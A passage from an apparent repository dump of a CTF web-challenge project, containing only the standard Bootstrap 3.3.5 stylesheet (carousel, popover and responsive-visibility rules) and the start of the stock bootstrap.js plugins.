left: 1px;\n  content: \" \";\n  border-right-color: #fff;\n  border-left-width: 0;\n}\n.popover.bottom > .arrow {\n  top: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-width: 0;\n  border-bottom-color: #999;\n  border-bottom-color: rgba(0, 0, 0, .25);\n}\n.popover.bottom > .arrow:after {\n  top: 1px;\n  margin-left: -10px;\n  content: \" \";\n  border-top-width: 0;\n  border-bottom-color: #fff;\n}\n.popover.left > .arrow {\n  top: 50%;\n  right: -11px;\n  margin-top: -11px;\n  border-right-width: 0;\n  border-left-color: #999;\n  border-left-color: rgba(0, 0, 0, .25);\n}\n.popover.left > .arrow:after {\n  right: 1px;\n  bottom: -10px;\n  content: \" \";\n  border-right-width: 0;\n  border-left-color: #fff;\n}\n.carousel {\n  position: relative;\n}\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n.carousel-inner > .item {\n  position: relative;\n  display: none;\n  -webkit-transition: .6s ease-in-out left;\n       -o-transition: .6s ease-in-out left;\n          transition: .6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n  .carousel-inner > .item {\n    -webkit-transition: -webkit-transform .6s ease-in-out;\n         -o-transition:      -o-transform .6s ease-in-out;\n            transition:         transform .6s ease-in-out;\n\n    -webkit-backface-visibility: hidden;\n            backface-visibility: hidden;\n    -webkit-perspective: 1000px;\n            perspective: 1000px;\n  }\n  .carousel-inner > .item.next,\n  .carousel-inner > .item.active.right {\n    left: 0;\n    -webkit-transform: translate3d(100%, 0, 0);\n            transform: translate3d(100%, 0, 0);\n  }\n  .carousel-inner > .item.prev,\n  .carousel-inner > .item.active.left {\n    left: 0;\n    -webkit-transform: translate3d(-100%, 0, 0);\n            transform: translate3d(-100%, 0, 0);\n  }\n  .carousel-inner > .item.next.left,\n  .carousel-inner > .item.prev.right,\n  .carousel-inner > .item.active {\n    left: 0;\n    -webkit-transform: translate3d(0, 0, 0);\n            transform: translate3d(0, 0, 0);\n  }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  display: block;\n}\n.carousel-inner > .active {\n  left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n.carousel-inner > .next {\n  left: 100%;\n}\n.carousel-inner > .prev {\n  left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n  left: 0;\n}\n.carousel-inner > .active.left {\n  left: -100%;\n}\n.carousel-inner > .active.right {\n  left: 100%;\n}\n.carousel-control {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 15%;\n  font-size: 20px;\n  color: #fff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\n.carousel-control.left {\n  background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  background-image:      -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001)));\n  background-image:         linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n  background-repeat: repeat-x;\n}\n.carousel-control.right {\n  right: 0;\n  left: auto;\n  background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  background-image:      -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5)));\n  background-image:         linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n  background-repeat: repeat-x;\n}\n.carousel-control:hover,\n.carousel-control:focus {\n  color: #fff;\n  text-decoration: none;\n  filter: alpha(opacity=90);\n  outline: 0;\n  opacity: .9;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n  position: absolute;\n  top: 50%;\n  z-index: 5;\n  display: inline-block;\n  margin-top: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n  left: 50%;\n  margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n  right: 50%;\n  margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n  width: 20px;\n  height: 20px;\n  font-family: serif;\n  line-height: 1;\n}\n.carousel-control .icon-prev:before {\n  content: '\\2039';\n}\n.carousel-control .icon-next:before {\n  content: '\\203a';\n}\n.carousel-indicators {\n  position: absolute;\n  bottom: 10px;\n  left: 50%;\n  z-index: 15;\n  width: 60%;\n  padding-left: 0;\n  margin-left: -30%;\n  text-align: center;\n  list-style: none;\n}\n.carousel-indicators li {\n  display: inline-block;\n  width: 10px;\n  height: 10px;\n  margin: 1px;\n  text-indent: -999px;\n  cursor: pointer;\n  background-color: #000 \\9;\n  background-color: rgba(0, 0, 0, 0);\n  border: 1px solid #fff;\n  border-radius: 10px;\n}\n.carousel-indicators .active {\n  width: 12px;\n  height: 12px;\n  margin: 0;\n  background-color: #fff;\n}\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #fff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n}\n.carousel-caption .btn {\n  text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n  .carousel-control .glyphicon-chevron-left,\n  .carousel-control .glyphicon-chevron-right,\n  .carousel-control .icon-prev,\n  .carousel-control .icon-next {\n    width: 30px;\n    height: 30px;\n    margin-top: -15px;\n    font-size: 30px;\n  }\n  .carousel-control .glyphicon-chevron-left,\n  .carousel-control .icon-prev {\n    margin-left: -15px;\n  }\n  .carousel-control .glyphicon-chevron-right,\n  .carousel-control .icon-next {\n    margin-right: -15px;\n  }\n  .carousel-caption {\n    right: 20%;\n    left: 20%;\n    padding-bottom: 30px;\n  }\n  .carousel-indicators {\n    bottom: 20px;\n  }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \" \";\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-footer:after {\n  clear: both;\n}\n.center-block {\n  display: block;\n  margin-right: auto;\n  margin-left: auto;\n}\n.pull-right {\n  float: right !important;\n}\n.pull-left {\n  float: left !important;\n}\n.hide {\n  display: none !important;\n}\n.show {\n  display: block !important;\n}\n.invisible {\n  visibility: hidden;\n}\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n.hidden {\n  display: none !important;\n}\n.affix {\n  position: fixed;\n}\n@-ms-viewport {\n  width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n  display: none !important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n  display: none !important;\n}\n@media (max-width: 767px) {\n  .visible-xs {\n    display: block !important;\n  }\n  table.visible-xs {\n    display: table !important;\n  }\n  tr.visible-xs {\n    display: table-row !important;\n  }\n  th.visible-xs,\n  td.visible-xs {\n    display: table-cell !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-block {\n    display: block !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-inline {\n    display: inline !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm {\n    display: block !important;\n  }\n  table.visible-sm {\n    display: table !important;\n  }\n  tr.visible-sm {\n    display: table-row !important;\n  }\n  th.visible-sm,\n  td.visible-sm {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-block {\n    display: block !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md {\n    display: block !important;\n  }\n  table.visible-md {\n    display: table !important;\n  }\n  tr.visible-md {\n    display: table-row !important;\n  }\n  th.visible-md,\n  td.visible-md {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-block {\n    display: block !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg {\n    display: block !important;\n  }\n  table.visible-lg {\n    display: table !important;\n  }\n  tr.visible-lg {\n    display: table-row !important;\n  }\n  th.visible-lg,\n  td.visible-lg {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-block {\n    display: block !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (max-width: 767px) {\n  .hidden-xs {\n    display: none !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .hidden-sm {\n    display: none !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .hidden-md {\n    display: none !important;\n  }\n}\n@media (min-width: 1200px) {\n  .hidden-lg {\n    display: none !important;\n  }\n}\n.visible-print {\n  display: none !important;\n}\n@media print {\n  .visible-print {\n    display: block !important;\n  }\n  table.visible-print {\n    display: table !important;\n  }\n  tr.visible-print {\n    display: table-row !important;\n  }\n  th.visible-print,\n  td.visible-print {\n    display: table-cell !important;\n  }\n}\n.visible-print-block {\n  display: none !important;\n}\n@media print {\n  .visible-print-block {\n    display: block !important;\n  }\n}\n.visible-print-inline {\n  display: none !important;\n}\n@media print {\n  .visible-print-inline {\n    display: inline !important;\n  }\n}\n.visible-print-inline-block {\n  display: none !important;\n}\n@media print {\n  .visible-print-inline-block {\n    display: inline-block !important;\n  }\n}\n@media print {\n  .hidden-print {\n    display: none !important;\n  }\n}\n/*# sourceMappingURL=bootstrap.css.map */\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/bootstrap3.3.5/js/bootstrap.js",
    "content": "/*!\n * Bootstrap v3.3.5 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under the MIT license\n */\n\nif (typeof jQuery === 'undefined') {\n  throw new Error('Bootstrap\\'s JavaScript requires jQuery')\n}\n\n+function ($) {\n  'use strict';\n  var version = $.fn.jquery.split(' ')[0].split('.')\n  if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1)) {\n    throw new Error('Bootstrap\\'s JavaScript requires jQuery version 1.9.1 or higher')\n  }\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: transition.js v3.3.5\n * http://getbootstrap.com/javascript/#transitions\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/)\n  // ============================================================\n\n  function transitionEnd() {\n    var el = document.createElement('bootstrap')\n\n    var transEndEventNames = {\n      WebkitTransition : 'webkitTransitionEnd',\n      MozTransition    : 'transitionend',\n      OTransition      : 'oTransitionEnd otransitionend',\n      transition       : 'transitionend'\n    }\n\n    for (var name in transEndEventNames) {\n      if (el.style[name] !== undefined) {\n        return { end: transEndEventNames[name] }\n      }\n    }\n\n    return false // explicit for ie8 (  ._.)\n  }\n\n  // http://blog.alexmaccaw.com/css-transitions\n  $.fn.emulateTransitionEnd = function (duration) {\n    var called = false\n    var $el = this\n    $(this).one('bsTransitionEnd', function () { called = true })\n    var callback = function () { if (!called) $($el).trigger($.support.transition.end) }\n    setTimeout(callback, duration)\n    return this\n  }\n\n  $(function () {\n    $.support.transition = transitionEnd()\n\n    if (!$.support.transition) return\n\n    $.event.special.bsTransitionEnd = {\n      bindType: $.support.transition.end,\n      delegateType: $.support.transition.end,\n      handle: function (e) {\n        if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments)\n      }\n    }\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: alert.js v3.3.5\n * http://getbootstrap.com/javascript/#alerts\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // ALERT CLASS DEFINITION\n  // ======================\n\n  var dismiss = '[data-dismiss=\"alert\"]'\n  var Alert   = function (el) {\n    $(el).on('click', dismiss, this.close)\n  }\n\n  Alert.VERSION = '3.3.5'\n\n  Alert.TRANSITION_DURATION = 150\n\n  Alert.prototype.close = function (e) {\n    var $this    = $(this)\n    var selector = $this.attr('data-target')\n\n    if (!selector) {\n      selector = $this.attr('href')\n      selector = selector && selector.replace(/.*(?=#[^\\s]*$)/, '') // strip for ie7\n    }\n\n    var $parent = $(selector)\n\n    if (e) e.preventDefault()\n\n    if (!$parent.length) {\n      $parent = $this.closest('.alert')\n    }\n\n    $parent.trigger(e = $.Event('close.bs.alert'))\n\n    if (e.isDefaultPrevented()) return\n\n    $parent.removeClass('in')\n\n    function removeElement() {\n      // detach from parent, fire event then clean up data\n      $parent.detach().trigger('closed.bs.alert').remove()\n    }\n\n    $.support.transition && $parent.hasClass('fade') ?\n      $parent\n        .one('bsTransitionEnd', removeElement)\n        .emulateTransitionEnd(Alert.TRANSITION_DURATION) :\n      removeElement()\n  }\n\n\n  // ALERT PLUGIN DEFINITION\n  // =======================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this = $(this)\n      var data  = $this.data('bs.alert')\n\n      if (!data) $this.data('bs.alert', (data = new Alert(this)))\n      if (typeof option == 'string') data[option].call($this)\n    })\n  }\n\n  var old = $.fn.alert\n\n  $.fn.alert             = Plugin\n  $.fn.alert.Constructor = Alert\n\n\n  // ALERT NO CONFLICT\n  // =================\n\n  $.fn.alert.noConflict = function () {\n    $.fn.alert = old\n    return this\n  }\n\n\n  // ALERT DATA-API\n  // ==============\n\n  $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close)\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: button.js v3.3.5\n * http://getbootstrap.com/javascript/#buttons\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // BUTTON PUBLIC CLASS DEFINITION\n  // ==============================\n\n  var Button = function (element, options) {\n    this.$element  = $(element)\n    this.options   = $.extend({}, Button.DEFAULTS, options)\n    this.isLoading = false\n  }\n\n  Button.VERSION  = '3.3.5'\n\n  Button.DEFAULTS = {\n    loadingText: 'loading...'\n  }\n\n  Button.prototype.setState = function (state) {\n    var d    = 'disabled'\n    var $el  = this.$element\n    var val  = $el.is('input') ? 'val' : 'html'\n    var data = $el.data()\n\n    state += 'Text'\n\n    if (data.resetText == null) $el.data('resetText', $el[val]())\n\n    // push to event loop to allow forms to submit\n    setTimeout($.proxy(function () {\n      $el[val](data[state] == null ? this.options[state] : data[state])\n\n      if (state == 'loadingText') {\n        this.isLoading = true\n        $el.addClass(d).attr(d, d)\n      } else if (this.isLoading) {\n        this.isLoading = false\n        $el.removeClass(d).removeAttr(d)\n      }\n    }, this), 0)\n  }\n\n  Button.prototype.toggle = function () {\n    var changed = true\n    var $parent = this.$element.closest('[data-toggle=\"buttons\"]')\n\n    if ($parent.length) {\n      var $input = this.$element.find('input')\n      if ($input.prop('type') == 'radio') {\n        if ($input.prop('checked')) changed = false\n        $parent.find('.active').removeClass('active')\n        this.$element.addClass('active')\n      } else if ($input.prop('type') == 'checkbox') {\n        if (($input.prop('checked')) !== this.$element.hasClass('active')) changed = false\n        this.$element.toggleClass('active')\n      }\n      $input.prop('checked', this.$element.hasClass('active'))\n      if (changed) $input.trigger('change')\n    } else {\n      this.$element.attr('aria-pressed', !this.$element.hasClass('active'))\n      this.$element.toggleClass('active')\n    }\n  }\n\n\n  // BUTTON PLUGIN DEFINITION\n  // ========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.button')\n      var options = typeof option == 'object' && option\n\n      if (!data) $this.data('bs.button', (data = new Button(this, options)))\n\n      if (option == 'toggle') data.toggle()\n      else if (option) data.setState(option)\n    })\n  }\n\n  var old = $.fn.button\n\n  $.fn.button             = Plugin\n  $.fn.button.Constructor = Button\n\n\n  // BUTTON NO CONFLICT\n  // ==================\n\n  $.fn.button.noConflict = function () {\n    $.fn.button = old\n    return this\n  }\n\n\n  // BUTTON DATA-API\n  // ===============\n\n  $(document)\n    .on('click.bs.button.data-api', '[data-toggle^=\"button\"]', function (e) {\n      var $btn = $(e.target)\n      if (!$btn.hasClass('btn')) $btn = $btn.closest('.btn')\n      Plugin.call($btn, 'toggle')\n      if (!($(e.target).is('input[type=\"radio\"]') || $(e.target).is('input[type=\"checkbox\"]'))) e.preventDefault()\n    })\n    .on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^=\"button\"]', function (e) {\n      $(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type))\n    })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: carousel.js v3.3.5\n * http://getbootstrap.com/javascript/#carousel\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // CAROUSEL CLASS DEFINITION\n  // =========================\n\n  var Carousel = function (element, options) {\n    this.$element    = $(element)\n    this.$indicators = this.$element.find('.carousel-indicators')\n    this.options     = options\n    this.paused      = null\n    this.sliding     = null\n    this.interval    = null\n    this.$active     = null\n    this.$items      = null\n\n    this.options.keyboard && this.$element.on('keydown.bs.carousel', $.proxy(this.keydown, this))\n\n    this.options.pause == 'hover' && !('ontouchstart' in document.documentElement) && this.$element\n      .on('mouseenter.bs.carousel', $.proxy(this.pause, this))\n      .on('mouseleave.bs.carousel', $.proxy(this.cycle, this))\n  }\n\n  Carousel.VERSION  = '3.3.5'\n\n  Carousel.TRANSITION_DURATION = 600\n\n  Carousel.DEFAULTS = {\n    interval: 5000,\n    pause: 'hover',\n    wrap: true,\n    keyboard: true\n  }\n\n  Carousel.prototype.keydown = function (e) {\n    if (/input|textarea/i.test(e.target.tagName)) return\n    switch (e.which) {\n      case 37: this.prev(); break\n      case 39: this.next(); break\n      default: return\n    }\n\n    e.preventDefault()\n  }\n\n  Carousel.prototype.cycle = function (e) {\n    e || (this.paused = false)\n\n    this.interval && clearInterval(this.interval)\n\n    this.options.interval\n      && !this.paused\n      && (this.interval = setInterval($.proxy(this.next, this), this.options.interval))\n\n    return this\n  }\n\n  Carousel.prototype.getItemIndex = function (item) {\n    this.$items = item.parent().children('.item')\n    return this.$items.index(item || this.$active)\n  }\n\n  Carousel.prototype.getItemForDirection = function (direction, active) {\n    var activeIndex = this.getItemIndex(active)\n    var willWrap = (direction == 'prev' && activeIndex === 0)\n                || (direction == 'next' && activeIndex == (this.$items.length - 1))\n    if (willWrap && !this.options.wrap) return active\n    var delta = direction == 'prev' ? -1 : 1\n    var itemIndex = (activeIndex + delta) % this.$items.length\n    return this.$items.eq(itemIndex)\n  }\n\n  Carousel.prototype.to = function (pos) {\n    var that        = this\n    var activeIndex = this.getItemIndex(this.$active = this.$element.find('.item.active'))\n\n    if (pos > (this.$items.length - 1) || pos < 0) return\n\n    if (this.sliding)       return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) // yes, \"slid\"\n    if (activeIndex == pos) return this.pause().cycle()\n\n    return this.slide(pos > activeIndex ? 'next' : 'prev', this.$items.eq(pos))\n  }\n\n  Carousel.prototype.pause = function (e) {\n    e || (this.paused = true)\n\n    if (this.$element.find('.next, .prev').length && $.support.transition) {\n      this.$element.trigger($.support.transition.end)\n      this.cycle(true)\n    }\n\n    this.interval = clearInterval(this.interval)\n\n    return this\n  }\n\n  Carousel.prototype.next = function () {\n    if (this.sliding) return\n    return this.slide('next')\n  }\n\n  Carousel.prototype.prev = function () {\n    if (this.sliding) return\n    return this.slide('prev')\n  }\n\n  Carousel.prototype.slide = function (type, next) {\n    var $active   = this.$element.find('.item.active')\n    var $next     = next || this.getItemForDirection(type, $active)\n    var isCycling = this.interval\n    var direction = type == 'next' ? 'left' : 'right'\n    var that      = this\n\n    if ($next.hasClass('active')) return (this.sliding = false)\n\n    var relatedTarget = $next[0]\n    var slideEvent = $.Event('slide.bs.carousel', {\n      relatedTarget: relatedTarget,\n      direction: direction\n    })\n    this.$element.trigger(slideEvent)\n    if (slideEvent.isDefaultPrevented()) return\n\n    this.sliding = true\n\n    isCycling && this.pause()\n\n    if (this.$indicators.length) {\n      this.$indicators.find('.active').removeClass('active')\n      var $nextIndicator = $(this.$indicators.children()[this.getItemIndex($next)])\n      $nextIndicator && $nextIndicator.addClass('active')\n    }\n\n    var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, \"slid\"\n    if ($.support.transition && this.$element.hasClass('slide')) {\n      $next.addClass(type)\n      $next[0].offsetWidth // force reflow\n      $active.addClass(direction)\n      $next.addClass(direction)\n      $active\n        .one('bsTransitionEnd', function () {\n          $next.removeClass([type, direction].join(' ')).addClass('active')\n          $active.removeClass(['active', direction].join(' '))\n          that.sliding = false\n          setTimeout(function () {\n            that.$element.trigger(slidEvent)\n          }, 0)\n        })\n        .emulateTransitionEnd(Carousel.TRANSITION_DURATION)\n    } else {\n      $active.removeClass('active')\n      $next.addClass('active')\n      this.sliding = false\n      this.$element.trigger(slidEvent)\n    }\n\n    isCycling && this.cycle()\n\n    return this\n  }\n\n\n  // CAROUSEL PLUGIN DEFINITION\n  // ==========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.carousel')\n      var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option)\n      var action  = typeof option == 'string' ? option : options.slide\n\n      if (!data) $this.data('bs.carousel', (data = new Carousel(this, options)))\n      if (typeof option == 'number') data.to(option)\n      else if (action) data[action]()\n      else if (options.interval) data.pause().cycle()\n    })\n  }\n\n  var old = $.fn.carousel\n\n  $.fn.carousel             = Plugin\n  $.fn.carousel.Constructor = Carousel\n\n\n  // CAROUSEL NO CONFLICT\n  // ====================\n\n  $.fn.carousel.noConflict = function () {\n    $.fn.carousel = old\n    return this\n  }\n\n\n  // CAROUSEL DATA-API\n  // =================\n\n  var clickHandler = function (e) {\n    var href\n    var $this   = $(this)\n    var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\\s]+$)/, '')) // strip for ie7\n    if (!$target.hasClass('carousel')) return\n    var options = $.extend({}, $target.data(), $this.data())\n    var slideIndex = $this.attr('data-slide-to')\n    if (slideIndex) options.interval = false\n\n    Plugin.call($target, options)\n\n    if (slideIndex) {\n      $target.data('bs.carousel').to(slideIndex)\n    }\n\n    e.preventDefault()\n  }\n\n  $(document)\n    .on('click.bs.carousel.data-api', '[data-slide]', clickHandler)\n    .on('click.bs.carousel.data-api', '[data-slide-to]', clickHandler)\n\n  $(window).on('load', function () {\n    $('[data-ride=\"carousel\"]').each(function () {\n      var $carousel = $(this)\n      Plugin.call($carousel, $carousel.data())\n    })\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: collapse.js v3.3.5\n * http://getbootstrap.com/javascript/#collapse\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // COLLAPSE PUBLIC CLASS DEFINITION\n  // ================================\n\n  var Collapse = function (element, options) {\n    this.$element      = $(element)\n    this.options       = $.extend({}, Collapse.DEFAULTS, options)\n    this.$trigger      = $('[data-toggle=\"collapse\"][href=\"#' + element.id + '\"],' +\n                           '[data-toggle=\"collapse\"][data-target=\"#' + element.id + '\"]')\n    this.transitioning = null\n\n    if (this.options.parent) {\n      this.$parent = this.getParent()\n    } else {\n      this.addAriaAndCollapsedClass(this.$element, this.$trigger)\n    }\n\n    if (this.options.toggle) this.toggle()\n  }\n\n  Collapse.VERSION  = '3.3.5'\n\n  Collapse.TRANSITION_DURATION = 350\n\n  Collapse.DEFAULTS = {\n    toggle: true\n  }\n\n  Collapse.prototype.dimension = function () {\n    var hasWidth = this.$element.hasClass('width')\n    return hasWidth ? 'width' : 'height'\n  }\n\n  Collapse.prototype.show = function () {\n    if (this.transitioning || this.$element.hasClass('in')) return\n\n    var activesData\n    var actives = this.$parent && this.$parent.children('.panel').children('.in, .collapsing')\n\n    if (actives && actives.length) {\n      activesData = actives.data('bs.collapse')\n      if (activesData && activesData.transitioning) return\n    }\n\n    var startEvent = $.Event('show.bs.collapse')\n    this.$element.trigger(startEvent)\n    if (startEvent.isDefaultPrevented()) return\n\n    if (actives && actives.length) {\n      Plugin.call(actives, 'hide')\n      activesData || actives.data('bs.collapse', null)\n    }\n\n    var dimension = this.dimension()\n\n    this.$element\n      .removeClass('collapse')\n      .addClass('collapsing')[dimension](0)\n      .attr('aria-expanded', true)\n\n    this.$trigger\n      .removeClass('collapsed')\n      .attr('aria-expanded', true)\n\n    this.transitioning = 1\n\n    var complete = function () {\n      this.$element\n        .removeClass('collapsing')\n        .addClass('collapse in')[dimension]('')\n      this.transitioning = 0\n      this.$element\n        .trigger('shown.bs.collapse')\n    }\n\n    if (!$.support.transition) return complete.call(this)\n\n    var scrollSize = $.camelCase(['scroll', dimension].join('-'))\n\n    this.$element\n      .one('bsTransitionEnd', $.proxy(complete, this))\n      .emulateTransitionEnd(Collapse.TRANSITION_DURATION)[dimension](this.$element[0][scrollSize])\n  }\n\n  Collapse.prototype.hide = function () {\n    if (this.transitioning || !this.$element.hasClass('in')) return\n\n    var startEvent = $.Event('hide.bs.collapse')\n    this.$element.trigger(startEvent)\n    if (startEvent.isDefaultPrevented()) return\n\n    var dimension = this.dimension()\n\n    this.$element[dimension](this.$element[dimension]())[0].offsetHeight\n\n    this.$element\n      .addClass('collapsing')\n      .removeClass('collapse in')\n      .attr('aria-expanded', false)\n\n    this.$trigger\n      .addClass('collapsed')\n      .attr('aria-expanded', false)\n\n    this.transitioning = 1\n\n    var complete = function () {\n      this.transitioning = 0\n      this.$element\n        .removeClass('collapsing')\n        .addClass('collapse')\n        .trigger('hidden.bs.collapse')\n    }\n\n    if (!$.support.transition) return complete.call(this)\n\n    this.$element\n      [dimension](0)\n      .one('bsTransitionEnd', $.proxy(complete, this))\n      .emulateTransitionEnd(Collapse.TRANSITION_DURATION)\n  }\n\n  Collapse.prototype.toggle = function () {\n    this[this.$element.hasClass('in') ? 'hide' : 'show']()\n  }\n\n  Collapse.prototype.getParent = function () {\n    return $(this.options.parent)\n      .find('[data-toggle=\"collapse\"][data-parent=\"' + this.options.parent + '\"]')\n      .each($.proxy(function (i, element) {\n        var $element = $(element)\n        this.addAriaAndCollapsedClass(getTargetFromTrigger($element), $element)\n      }, this))\n      .end()\n  }\n\n  Collapse.prototype.addAriaAndCollapsedClass = function ($element, $trigger) {\n    var isOpen = $element.hasClass('in')\n\n    $element.attr('aria-expanded', isOpen)\n    $trigger\n      .toggleClass('collapsed', !isOpen)\n      .attr('aria-expanded', isOpen)\n  }\n\n  function getTargetFromTrigger($trigger) {\n    var href\n    var target = $trigger.attr('data-target')\n      || (href = $trigger.attr('href')) && 